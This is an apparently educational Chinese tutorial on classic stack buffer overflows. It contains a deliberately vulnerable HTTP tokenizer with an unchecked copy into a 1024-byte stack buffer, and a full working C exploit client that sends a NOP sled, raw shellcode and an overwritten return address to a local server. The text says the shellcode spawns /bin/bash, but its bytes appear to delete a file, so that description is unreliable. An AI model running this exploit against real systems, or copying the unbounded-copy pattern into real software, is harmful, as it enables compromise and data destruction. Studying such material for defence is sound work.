棧溢出攻擊首次提出是在1996年,Aleph One發表了一篇名爲Smashing the stack for fun and Profit的文章。介紹了一種在Linux/Unix系統,利用緩衝區溢出的方式來攻擊目標程序來改變程序的執行方式的技術。該文章將以前看起來高大上的緩衝區溢出用淺顯易懂的方式表達出來,立刻引起了安全界的強烈反應。
下面記錄一下我對緩衝區溢出攻擊的理解。
首先需要一點預備知識,一個棧的棧底會有一個指向他表示棧的基址,而棧的頂部會有一個esp來指向他,當棧發生變化時esp就會移動。
而esp和ebp之間的內容就是一個棧幀。
棧有什麼作用?作用有很多,這裏僅僅關注以下幾個方面,1.臨時變量在棧上分配2.函數調用壓參也是保存的棧上的3.以及保存一些函數調用前的寄存器信息等。
以C語言默認調用方式(__cdecl方式)調用時每個函數都會使用一個自己的棧幀即進入函數時,會使用一個全新的ebp和esp指向內存中的位置。
ebp和esp之間的內容就是這個函數的棧幀,如果發生棧溢出,就可以修改ebp--esp之外的內容,此時就會發生比較嚴重的後果。
C語言函數(__cdecl方式)在調用時會經歷一下過程,1從右向左PUSH參數2.PUSH調用某個函數下一條指令的地址(即eip,用於在函數執行完畢後返回地址)
3.進入函數內會將上一個函數的ebp PUSH到棧上(用於調用者的堆棧信息)4.然後將棧頂設置爲新的ebp,也就是作爲自己的棧基址。
此時內存中的佈局如下(以int main(int argc, char* argv[])爲例)
------高地址
argv
argc
retrun address(eip)
ebp
臨時變量
--------低地址
程序的執行過程是,執行到這個函數最後一條語句的時候,需要返回的時候就會將return address放入eip中,eip是存放下一條需要執行指令的寄存器。如果return address被修改,程序就會在此函數執行結束後跳轉到修改後的地址,如果人爲的設計一個惡意的代碼,讓return address修改爲惡意代碼的地址,程序就被攻擊了。
怎麼利用緩衝區溢出來攻擊程序,任務就是1.設計一個你想要執行的代碼段,稱爲shellcode,通常是寫好的純二進制代碼 2.得到shellcode的地址3.然後通過溢出修改return address的值改爲shellcode的地址。
怎樣發生溢出呢?
通常是沒有邊界檢查的strcpy()將一個很大的數組賦值給一個比較小的分配在棧上的數組。或者其他沒有邊界檢查的數組賦值等等、
因爲臨時變量在eip 和 ebp的低地址,發生溢出之後可能會覆蓋掉eip,ebp。
下面看一個溢出例子:
下面是一個有漏洞的服務器代碼片段,
int i = 0;
void getToken (int fd, int sepBySpace)
{
i =0;
int n;
char c;
char s[1024];
switch (ahead){
case A_NONE:
c = getChar (fd);
break;
case A_SPACE:
ahead = A_NONE;
Token_new(token, TOKEN_SPACE, 0);
return;
case A_CRLF:
ahead = A_NONE;
Token_new(token, TOKEN_CRLF, 0);
return;
default:{
char *info = "server bug";
write (1, info, strlen (info));
Http_print (fd, http400);
close (fd);
exit (0);
return;
}
}
while (1){
switch (c){
case ' ':
if (sepBySpace){
if (i){
char *p;
int kind;
// remember the ' '
ahead = A_SPACE;
s[i] = '\0';
p = malloc (strlen(s)+1);
strcpy (p, s);
kind = Token_getKeyWord (p);
if (kind>=0){
Token_new (token, kind, 0);
return;
}
Token_new (token, TOKEN_STR, p);
return;
}
Token_new(token, TOKEN_SPACE, 0);
return;
}
s[i++] = c;
break;
case '\r':{
char c2;
c2 = getChar (fd);
if (c2=='\n'){
if (i){
char *p;
int kind;
// remember the ' '
ahead = A_CRLF;
s[i] = '\0';
p = malloc (strlen(s)+1);
strcpy (p, s);
kind = Token_getKeyWord (p);
if (kind>=0){
Token_new (token, kind, 0);
return;
}
Token_new (token, TOKEN_STR, p);
return;
}
Token_new(token, TOKEN_CRLF, 0);
return;
}
s[i++] = c;
s[i++] = c2;
break;
}
default:
s[i++] = c;//沒有邊界檢查
break;
}
c = getChar (fd);
}
return;
}
注意代碼註釋的地方,s[i++] = c;並沒有做邊界檢查。因爲s[1024]是1024大小,如果傳一個大於1024字節的數據過去,就可以發生溢出,然後修改return address。
如果要攻擊的話,我們可以構造攻擊代碼,傳遞一個比較大的數組覆蓋s[1024], 在服務器用gdb調試取得return address在內存中的地址,s[0]的地址,然後計算出偏移地址,這裏已經計算好,在s[1064]的位置。
溢出的時候用一段shellcode複製到s數組裏面,然後修改return address爲s[0]的地址即可。
下面是攻擊代碼
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/shm.h>
#define PORT 8080
const char shellcode[] =
"\x31\xc0\x50\x68\x2e\x74\x78\x74\x68\x61\x64\x65\x73\x68\x72\x2f\x67\x72\x68\x65\x72\x76\x65\x68\x65\x64\x2f\x73\x68\x65\x2f\x73\x65\x68\x2f\x68\x6f\x6d\x89\xe3\xb0\x0a\xcd\x80\x31"
"\xdb\xb0\x01\xcd\x80\xc9\xc3";
int main(int argc, char *argv[])
{
int port = PORT;
if (argc>1)
port = atoi(argv[1]);
int sock_client = socket(AF_INET,SOCK_STREAM, 0);//sock fd
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port); //server port
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); ///server ip address
if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0)
{
perror("connect");
exit(1);
}
printf("sock_client = %d\n",sock_client);
char req[1072];
int i = 0;
for(; i < 1072; ++i)
{
req[i] = '\x90';//x90爲NOP指令,無操作。填充到數組的首部,增加成功率,返回地址指向任意一個NOP上程序都可以往後執行到shellcode。
}
long *addr_ptr;
addr_ptr = (long*) req;
req[1068] = '\r';//HTTP請求以\r\n\r\n結尾
req[1069] = '\n';
req[1070] = '\r';
req[1071] = '\n';
addr_ptr = (long*) (&req[1064]); //return address
*addr_ptr =(long)(0xbffff9e4);//修改return address爲0xbffff9e4,這個地址是用gdb調試得出來的s[0]的地址。
i = 100;
int j = 0;
for(;j < strlen(shellcode);++j,++i)
{
req[i] = shellcode[j];//將shellcode賦值到req裏面。
}
write(sock_client,req,strlen(req));//發送請求。
//receive the response from web server
char resp[1024];
int num = 0;
while(read (sock_client, &resp[num], 1))
num++;
resp[num] = 0;
printf("Response = %s\n",resp);
close(sock_client);
return 0;
}
通過上面的程序,把一個1072字節的數組賦值給1024字節的數組,最終會覆蓋修改return address,我們把要覆蓋return address的數組內容改成了,s[0]的地址,所以函數結束返回的時候就會返回到s[0]的首地址開始執行了。
這個shellcode的內容是執行/bin/bash。如果攻擊成功終端上就會顯示#了
把shellcode修改爲其他內容,例如刪除文件,或者下載文件就會完成相應的操作了。
此實驗需要把服務器的地址隨機化(ALSR)關閉,這樣每次運行服務器,地址就不會變了。
之後針對棧溢出的一些保護措施,stack guard,canary,棧不可執行,地址隨機化將溢出攻擊的難度提高了很多。當然攻擊技術也隨着發展。